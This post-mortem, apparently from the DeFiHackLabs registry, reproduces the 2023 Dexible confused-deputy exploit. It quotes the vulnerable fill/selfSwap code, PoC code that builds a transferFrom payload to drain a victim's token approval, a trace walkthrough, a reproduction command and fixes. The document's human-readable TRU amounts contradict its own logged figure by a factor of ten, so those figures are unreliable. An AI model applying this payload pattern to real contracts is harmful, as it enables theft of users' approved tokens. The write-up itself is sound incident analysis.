Reproduced Exploit
Dexible Exploit — Caller-Controlled `router`/`routerData` in `selfSwap`/`fill`
Dexible is a meta-aggregator/relayer: a trader signs an order, a relayer submits it, and Dexible's swap()/selfSwap() walks an array of RouterRequest hops calling each router with the supplied routerData. The intended routers are DEXes (Uniswap, Sushi, etc.), and Dexible holds the trader's ERC-20 ap…
Loss
~$1.5M — at least 1,796,093.75 TRU drained from a single victim in the reproduced PoC (output.txt:104); the o…
Chain
Ethereum
Category
Other
Date
Feb 2023
Source & credit. Exploit reproduction, trace data, and analysis adapted from DeFiHackLabs by SunWeb3Sec — an open registry of reproduced on-chain exploits. Standalone Foundry PoC and full write-up: 2023-02-Dexible_exp in the
evm-hack-registrymirror. Upstream DeFiHackLabs PoC:src/test/…/Dexible_exp.sol.
Vulnerability classes: vuln/dependency/unsafe-external-call · vuln/access-control/missing-auth
Reproduction: the PoC compiles & runs in an isolated Foundry project at this project folder. Full verbose trace: output.txt. Verified vulnerable source (proxy + active implementation): DexibleProxy, Dexible (impl), SwapHandler.fill.
Key info#
| Loss | ~$1.5M — at least 1,796,093.75 TRU drained from a single victim in the reproduced PoC (output.txt:104); the on-chain attack swept approvals across 8 victims (≈ 1.5M USDC-equiv of TRU at the time) — tx 0x138daa4c… |
| Vulnerable contract | Dexible proxy — 0xDE62E1b0edAa55aAc5ffBE21984D321706418024; active logic impl 0x33e690aEa97E4Ef25F0d140F1bf044d663091DAf |
| Victim | TRU holders who had granted approve(Dexible, …) — e.g. 0x58f5F0684C381fCFC203D77B2BbA468eBb29B098 (the single victim reproduced; on-chain: 8 such holders) |
| Attacker EOA | 0x4C19596f5aAfF459fA38B0f7eD92F11AE6543784 (PoC sets router = TRU, which is the same address as the TRU token; the real attacker EOA is recorded by PeckShield) |
| Attacker contract | 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496 (PoC ContractTest) |
| Attack tx | 0x138daa4cbeaa3db42eefcec26e234fc2c89a4aa17d6b1870fc460b2856fd11a6 |
| Chain / block / date | Ethereum mainnet / block 16,646,022 / Feb 17, 2023 |
| Compiler / optimizer | Solidity v0.8.17 (v0.8.17+commit.8df45f5f), optimizer enabled (1), 100 runs (_meta.json) |
| Bug class | Trust boundary — selfSwap/fill accept a fully caller-controlled RouterRequest{router, spender, routeAmount, routerData} and execute it as Dexible; no allowlist, no shape check on routerData. |
TL;DR#
Dexible is a meta-aggregator/relayer: a trader signs an order, a relayer submits it, and Dexible's
swap()/selfSwap() walks an array of RouterRequest hops calling each router with the supplied
routerData. The intended routers are DEXes (Uniswap, Sushi, etc.), and Dexible holds the trader's
ERC-20 approve(Dexible, …) so it can move input tokens into the routers.
-
The fatal flaw is in
SwapHandler.fill(SwapHandler.sol:43-51):for(uint i=0;i<request.routes.length;++i) { SwapTypes.RouterRequest calldata rr = request.routes[i]; IERC20(rr.routeAmount.token).safeApprove(rr.spender, rr.routeAmount.amount); (bool s, ) = rr.router.call(rr.routerData); // ← arbitrary target, arbitrary calldataBoth
rr.routerandrr.routerDatacome from the caller with zero validation. The NatSpec onRouterRequest(SwapTypes.sol:13-14) claims "Only approved router addresses will execute successfully" — but noonlyApprovedRoutermodifier ever exists in the code. The comment is aspirational; the code does not enforce it. -
selfSwapisexternal notPausedwith no relayer/allowlist gate (Dexible.sol:61-94): anyone can call it directly, unlikeswap()which isonlyRelay. -
The exploit payload: the attacker submits a
selfSwapwhose single route pointsrouterat the TRU token itself (0x4C19596f…) androuterDataattransferFrom(victim, attacker, amount). Becausefillexecutesrouter.call(routerData)as Dexible, thetransferFrom'smsg.senderis Dexible — which holds an unlimited/large allowance from every user who ever approved Dexible to trade for them. The token dutifully moves the victim's TRU to the attacker. -
Reproduced profit in the PoC: 1,796,093.75 TRU (1,796,093,750,000,000 raw wei, 8 decimals) drained from victim
0x58f5F068…B098into the attacker contract (output.txt:104, output.txt:181). On-chain, the same primitive was looped across 8 approval-granting holders, totalling ~$1.5M of TRU.
The fix is mechanical: router must be on a protocol allowlist, routerData must be checked against
the expected swap-function selector, and selfSwap must not let an arbitrary caller drive arbitrary
low-level calls while impersonating Dexible's accumulated allowances.
Background — what Dexible does#
Dexible is an off-chain-relayed DEX aggregator. The intended flow is:
- A trader signs an order off-chain specifying the input/output tokens, an array of router hops (e.g. "route USDC through UniswapV2 then SushiSwap"), the fee token, and the affiliate.
- A permissioned relayer submits it on-chain via
Dexible.swap()(onlyRelay notPaused). - Dexible, which the trader has
approved for the input token, pulls the input, then for each hopsafeApproves the next router and calls it.
There is also a "self swap" path, Dexible.selfSwap() (Dexible.sol:61),
for users who want to submit directly. Critically, selfSwap carries only notPaused — there is no
onlyRelay. The trader becomes the caller, but the contract still walks the same attacker-shapable
RouterRequest[] array through fill.
On-chain parameters at the fork block (16,646,022), read directly from the trace:
| Parameter | Value | Source |
|---|---|---|
DexibleProxy (proxy) | 0xDE62E1b0edAa55aAc5ffBE21984D321706418024 | output.txt:18 |
Dexible (impl, delegatecall target) | 0x33e690aEa97E4Ef25F0d140F1bf044d663091DAf | output.txt:81 |
| TRU token | 0x4C19596f5aAfF459fA38B0f7eD92F11AE6543784 (8 decimals) | output.txt:16 |
| USDC token | 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48 (6 decimals) | output.txt:14 |
| Victim | 0x58f5F0684C381fCFC203D77B2BbA468eBb29B098 | PoC header |
| Victim TRU balance | 4,061,693,776,672,209 raw (≈ 40,616,937.76 TRU) | output.txt:70-71 |
| Victim → Dexible allowance (TRU) | 1,796,093,750,000,000 raw (≈ 1,796,093.75 TRU) | output.txt:74 |
| CommunityVault (gas/fees) | 0xEB890541049CCd965D3DD4a3Ec1aD368FD4B26A4 | output.txt:120 |
The two numbers that make the attack work are the last two: the victim had granted Dexible an allowance
of ~1.8M TRU, so any code that runs TRU.transferFrom(victim, X, ≤allowance) from inside Dexible will
succeed — and Dexible itself is the entity that runs the attacker's calldata.
The vulnerable code#
1. RouterRequest — every field is caller-supplied and unvalidated#
/**
* Individual router called to execute some action. Only approved
* router addresses will execute successfully
*/
struct RouterRequest {
//router contract that handles the specific route data
address router;
//any spend allowance approval required
address spender;
//the amount to send to the router
TokenTypes.TokenAmount routeAmount;
//the data to use for calling the router
bytes routerData;
}
The NatSpec promise — "Only approved router addresses will execute successfully" — is a lie. There is
no allowlist anywhere in the codebase; router, spender, routeAmount, and routerData are all
freely chosen by whoever builds the SwapRequest/SelfSwap.
2. SwapHandler.fill — the low-level call that turns the bug into theft#
function fill(SwapTypes.SwapRequest calldata request, SwapMeta memory meta)
external onlySelf returns (SwapMeta memory) {
preCheck(request, meta);
meta.outAmount = request.tokenOut.token.balanceOf(address(this));
for(uint i=0;i<request.routes.length;++i) {
SwapTypes.RouterRequest calldata rr = request.routes[i];
IERC20(rr.routeAmount.token).safeApprove(rr.spender, rr.routeAmount.amount);
(bool s, ) = rr.router.call(rr.routerData); // ⚠️ arbitrary call AS Dexible
if(!s) { revert("Failed to swap"); }
}
...
}
onlySelf only enforces that the caller is the Dexible contract itself (so it can be reached via the
public swap/selfSwap entry points). The damage is on line 46: rr.router.call(rr.routerData) runs
the attacker's calldata against the attacker's chosen address, but with Dexible's identity and
Dexible's accumulated allowances. There is no check that router is a known DEX, no check on the
selector encoded in routerData, no check that the call returns value to Dexible.
3. selfSwap — the public, ungated entry point#
function selfSwap(SwapTypes.SelfSwap calldata request) external notPaused {
// ...builds a SwapRequest with requester = msg.sender, no affiliate...
details = this.fill(swapReq, details); // ← routes through the vulnerable fill
postFill(swapReq, details, true);
}
Unlike swap() (onlyRelay notPaused), selfSwap() is notPaused only — anyone may call it. Combined
with #2, that means anyone can ask Dexible to execute arbitrary_address.call(arbitrary_calldata) as
Dexible. In the real attack the attacker also used the relayer-gated swap() with a forged/malicious
order (PeckShield); the PoC reproduces the
simpler selfSwap path.
4. The attacker's calldata — transferFrom stealing victim TRU#
The PoC builds the payload directly:
uint256 transferAmount = TRU.balanceOf(victim);
if (TRU.allowance(victim, address(Dexible)) < transferAmount) {
transferAmount = TRU.allowance(victim, address(Dexible)); // clamp to allowance
}
bytes memory callDatas = abi.encodeWithSignature(
"transferFrom(address,address,uint256)", victim, address(this), transferAmount);
...
route[0] = SwapTypes.RouterRequest({
router: address(TRU), // ← the token contract itself
spender: address(Dexible), // ← who to approve (irrelevant: amount=0)
routeAmount: routeAmounts, // ← amount=0 so safeApprove(Dexible, 0) is a no-op
routerData: callDatas // ← TRU.transferFrom(victim, attacker, amt)
});
SwapTypes.SelfSwap memory requests = SwapTypes.SelfSwap({
feeToken: address(USDC), tokenIn: tokenIns, tokenOut: tokenOuts, routes: route
});
Dexible.selfSwap(requests);
fill then does TRU.call(transferFrom(victim, attacker, 1.796e15)) as Dexible. The TRU token sees
msg.sender == Dexible, looks up allowance[victim][Dexible] (1.796e15, see
output.txt:74), and transfers the tokens — emitting the fatal event:
emit Transfer(from: 0x58f5…B098, to: ContractTest, value: 1,796,093,750,000,000)
Root cause — why it was possible#
Dexible is a custodial intermediary: it holds ERC-20 allowances from every user who has ever prepared a swap. With that position comes a hard obligation — never execute a low-level call whose target or calldata is attacker-influenced, because such a call inherits Dexible's identity and its accumulated allowance surface.
SwapHandler.fill violates that obligation on both axes:
-
Unvalidated
router. Dexible intended to call a small, fixed set of DEX routers. The NatSpec even says so. But the implementation never cross-references an allowlist, soroutercan be any address — including an ERC-20 token whosetransferFromwill dutifully spend Dexible's allowance. -
Unvalidated
routerData. Even ifrouterhad been a real DEX, nothing checks thatrouterDataencodes aswap/exactInputSingle/etc. selector. The attacker stuffed it withtransferFrom. -
selfSwaphas no caller gate.swap()requires the relayer (onlyRelay), which is at least a soft trust boundary.selfSwap()isnotPausedonly, so the attacker does not need to compromise or frontrun a relayer — they just call it. -
No post-call invariant.
fillmeasurestokenOut.balanceOf(this)before/after the loop and only requiresout >= tokenOut.amount. The PoC setstokenOut.amount = 0andtokenOut = USDC, so the check isUSDC balance >= 0— trivially satisfied, and the stolen TRU is never on Dexible's balance sheet at all.
The combination is textbook confused-deputy: Dexible is the deputy holding the user's allowance;
the attacker hands it a forged "router instruction" that is really a transferFrom on the user's
balance, and the deputy executes it because it never inspects the instruction.
Preconditions#
- A victim has a live
approve(Dexible, …)on some ERC-20 (TRU in this case). Reproduced victim allowance: 1,796,093,750,000,000 TRU-wei (output.txt:74). - The contract is not paused (
selfSwaponly checksnotPaused). - The attacker can fund a small amount of the fee token (USDC) — the PoC
deals 15 USDC (Dexible_exp.sol:58) so thatpreCheck'sisFeeTokenAllowed(USDC)passes and the subsequentcomputeDiscountedFee/transferFromof fees (output.txt:142-161) has something to debit. ~5,762 + 5,761 USDC-wei of fees are taken (output.txt:146, output.txt:155). - The attacker's
tokenIn.amount(14,403,789 USDC-wei in the PoC, output.txt:80) only has to satisfytotalInputSpent ≤ tokenIn.amountinsidepayProtocolAndTrader; becauserouteAmount.amount == 0, no input is actually routed, and the remaining bps/min fee (~11,523 USDC-wei) fits well under 14.4M USDC-wei of headroom.
No flash-loan, no oracle manipulation, no price impact — the attack is a single transaction that costs only gas plus a few cents of fee token.
Attack walkthrough (with on-chain numbers from the trace)#
The trace in output.txt is a single testExploit() call; line refs are to that file.
Amounts are raw integer wei; human approximations (TRU = 8 decimals, USDC = 6 decimals) in parentheses.
| # | Step | State after | Effect |
|---|---|---|---|
| 0 | Setup — attacker mints itself 15 USDC via deal and approve(Dexible, type(uint256).max) (output.txt:55-67) | Attacker USDC = 15.000000 (output.txt:59-60); Dexible allowance from attacker = max | Gives preCheck/fee logic something to debit. |
| 1 | Read victim surface — TRU.balanceOf(victim) = 4,061,693,776,672,209 (≈40.6M TRU) (output.txt:70-71); TRU.allowance(victim, Dexible) = 1,796,093,750,000,000 (≈1.796M TRU) (output.txt:74) | transferAmount clamped to the allowance = 1,796,093,750,000,000 | Determines the size of the theft. |
| 2 | Dexible.selfSwap(...) — proxy delegatecalls impl 0x33e690… (output.txt:80-81); selfSwap builds the SwapRequest and calls this.fill(...) (output.txt:82-83) | Inside fill, preCheck runs | Enters the vulnerable loop with attacker's RouterRequest. |
| 3 | preCheck — verifies isFeeTokenAllowed(USDC)=true (output.txt:84-85), then safeTransferFrom(attacker, Dexible, 14,403,789 USDC-wei) of input. Because routeAmount.amount == 0, the inner safeApprove(Dexible, 0) (output.txt:97-101) is a no-op. | Dexible holds 14.4M USDC-wei of attacker's input; victim allowance untouched | Sets up the cover — the call looks like a legitimate self-swap. |
| 4 | The theft — rr.router.call(rr.routerData) executes TRU.transferFrom(victim, attacker, 1,796,093,750,000,000) as Dexible. TRU emits Transfer(victim → attacker, 1,796,093,750,000,000) (output.txt:104) and decrements victim's allowance to 0 (output.txt:105-109). | Victim loses 1,796,093.75 TRU; attacker gains it | The confused-deputy moment. |
| 5 | Post-loop accounting — tokenOut(USDC).balanceOf(Dexible) is unchanged, outAmount = 0, and require(0 >= 0) passes (output.txt:112-118). rewardTrader mints the attacker some DXBL reward tokens (output.txt:120-141) based on the input size, and the bps/min fees (~5,762 + 5,761 USDC-wei) are split to treasury/vault (output.txt:142-161). | Attacker's attacker-contract TRU balance = 1,796,093,750,000,000 wei (output.txt:175-176) | Attack complete; Dexible even pays the attacker a trading reward on top. |
| 6 | Assertion — log_named_decimal_uint("Attacker TRU balance after exploit", 1,796,093,750,000,000, 8) prints 17960937.50000000 (output.txt:181). | [PASS] testExploit() (output.txt:5) | Reproduction confirmed. |
Profit / loss accounting (TRU, raw wei, 8 decimals)#
| Direction | Amount (raw wei) | ~Human |
|---|---|---|
| Victim TRU before (output.txt:70) | 4,061,693,776,672,209 | 40,616,937.77 |
| Victim TRU allowance used (output.txt:74, output.txt:104) | 1,796,093,750,000,000 | 1,796,093.75 |
| Attacker-contract TRU after (output.txt:175) | 1,796,093,750,000,000 | 1,796,093.75 |
| Net profit (PoC, single victim) | 1,796,093,750,000,000 | 1,796,093.75 TRU |
| Attacker USDC spent on fees (output.txt:146 + output.txt:155) | 11,523 | 0.011523 USDC |
The accounting reconciles to the wei: every unit of the victim's allowance was transferred to the attacker. The only attacker-side cost is ~0.0115 USDC of bps/min fees. On-chain, the attacker repeated the primitive for 8 different approval-granting holders (per PeckShield), reaching the reported ~$1.5M total — the per-victim amount shown here is the reproduced slice.
Diagrams#
Sequence of the attack#
The flaw inside SwapHandler.fill#
Trust-boundary / confused-deputy view#
Why each magic number#
15 * 1e6USDC minted to the attacker (Dexible_exp.sol:58):preCheckcallssafeTransferFrom(attacker, Dexible, tokenIn.amount), so the attacker needs some USDC to satisfy the input pull and the bps/min fees. 15 USDC is comfortable headroom over the actual ~0.0115 USDC of fees observed (output.txt:146, output.txt:155); the rest is returned viarequest.tokenOut.token.safeTransfer(requester, outToTrader)(outToTrader ≈ 0).tokenIn.amount = 14_403_789(USDC-wei, Dexible_exp.sol:67): sets the ceiling thattotalInputSpent ≤ tokenIn.amountis checked against inpayProtocolAndTrader. BecauserouteAmount.amount = 0,totalInputSpentreduces to just the bps/gas fees (≈11,523 wei), well within 14.4M.routeAmount.amount = 0andspender = Dexible: forces thesafeApprove(rr.spender, 0)line to be a harmless no-op (approve(Dexible, 0)from Dexible to itself). The attacker does not need a real approval; the damage is done by therouter.call(routerData), not by thesafeApprove.router = TRU(0x4C19596f…): the address that will receive the low-levelcall. Pointing it at the token contract makesrouterData = transferFrom(...)execute on the token, withmsg.sender == Dexible.transferAmount = min(balanceOf(victim), allowance(victim, Dexible))(Dexible_exp.sol:60-63): drains the maximum the victim's allowance permits. For the reproduced victim this clamps from 40.6M TRU down to the 1.796M TRU allowance.tokenOut = (0, USDC): makes the post-looprequire(meta.outAmount >= request.tokenOut.amount)check trivially0 >= 0, so the call returns success and even collects a DXBL reward.
Remediation#
- Allowlist
router. Maintain amapping(address => bool) approvedRoutersandrequire(approvedRouters[rr.router])at the top of the loop infill. Only known DEX routers (UniswapV2 router, SushiSwap router, UniswapV3 pool, etc.) should ever be callable. This single check would have blocked the attack because the TRU token is not a router. - Validate the
routerDataselector. Even with an allowlist, decode the first 4 bytes ofrouterDataand restrict each router to its legitimate swap selectors (swapExactTokensForTokens,exactInputSingle,multicall, …). RejecttransferFrom/approve/transferoutright. - Gate
selfSwap. ApplyonlyRelayor an on-chain signature check toselfSwapas well, so a random caller cannot drive arbitrary router calls. At minimum, require that the trader has signed the exactRouterRequest[](EIP-712 over the routes), not just the high-level intent. - Never call arbitrary calldata as Dexible. Replace
rr.router.call(rr.routerData)with typed adapter calls (IUniswapV2Router(rr.router).swapExactTokensForTokens(...), etc.) so the compiler and the type system enforce the shape. Low-level.callshould be reserved for trusted, audited targets. - Post-call invariant. After each hop, assert that the only balance that decreased is the input
token and the only balance that increased is the output token; revert on any unexpected delta.
transferFrom-as-Dexible would trip this immediately because it moves a third-party token (victim's TRU) without affectingtokenIn/tokenOut. - Per-user, per-order allowances. Instead of holding standing
type(uint256).maxapprovals from users, require permits bound to a specific order (EIP-2612 / EIP-3009) so that even a confused-deputy call cannot spend more than the current order's input.
How to reproduce#
The PoC runs offline via the shared harness. The fork is served from the local
anvil_state.json; createSelectFork points at http://127.0.0.1:8545 pinned to block 16,646,022
(Dexible_exp.sol:50-51).
_shared/run_poc.sh 2023-02-Dexible_exp --mt testExploit -vvvvv
- EVM:
foundry.tomlsetsevm_version = "cancun"; the test does not require any Prague-only opcodes. - No public RPC is needed — the anvil state snapshot already contains the victim's approval and balance.
Expected tail (verbatim from output.txt:5-8 and output.txt:181-189):
[PASS] testExploit() (gas: 511311)
Logs:
Expected 0 Received 0
Attacker TRU balance after exploit: 17960937.50000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 12.69s (12.08s CPU time)
The Expected 0 Received 0 line is the console.log("Expected", request.tokenOut.amount, "Received", meta.outAmount)
inside fill (SwapHandler.sol:59) —
both are zero because the attacker set tokenOut.amount = 0 to bypass the output check; it is the
audit-trail fingerprint of the bypass.
Reference: PeckShield — https://twitter.com/peckshield/status/1626493024879673344 ; MevRefund — https://twitter.com/MevRefund/status/1626450002254958592 (Dexible, Ethereum mainnet, ~$1.5M, Feb 17 2023).
Sources & further analysis#
Reproductions & code
- Standalone PoC + full trace: 2023-02-Dexible_exp (evm-hack-registry mirror).
- Upstream DeFiHackLabs PoC:
Dexible_exp.sol. - Attack transaction: view on explorer.
Alerts & third-party analyses
- Original alert / thread: post on X.
- DeFiHackLabs incident explorer: search "Dexible Exploit".
- Web3Sec X hacked database: search.
- Rekt leaderboard: search.
- Solodit incident search: search.
These dashboards index community alerts tweets, post-mortems, and independent write-ups. Reach them through the protocol name above to cross-check this reproduction against other analyses.